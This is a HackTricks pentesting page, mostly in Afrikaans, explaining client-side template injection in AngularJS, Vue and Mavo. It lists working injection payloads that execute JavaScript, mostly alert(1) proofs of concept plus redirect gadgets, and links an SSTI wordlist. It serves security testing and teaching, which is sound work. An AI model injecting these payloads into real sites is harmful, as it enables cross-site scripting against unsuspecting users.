hacktricks/pentesting-web/client-side-template-injection-csti.md

# Client Side Template Injection (CSTI)

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>

<summary>Ondersteun HackTricks</summary>

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
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#### [WhiteIntel](https://whiteintel.io)

<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.

Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.

Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:

{% embed url="https://whiteintel.io" %}

***

## Samevatting

Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.

**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`

## AngularJS

AngularJS is 'n wyd gebruikte JavaScript raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.

In scenario's waar gebruikersinvoer dinamies in die HTML liggaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript kode uitgevoer kan word:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)

{% hint style="danger" %}
[**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe moet 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` werk.
{% endhint %}

## VueJS

You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)

And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
'n Regtig goeie pos oor CSTI in VUE kan gevind word in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)

**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

## Mavo

Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

## **Brute-Force Opsporingslys**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

#### [WhiteIntel](https://whiteintel.io)

<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.

Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.

Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}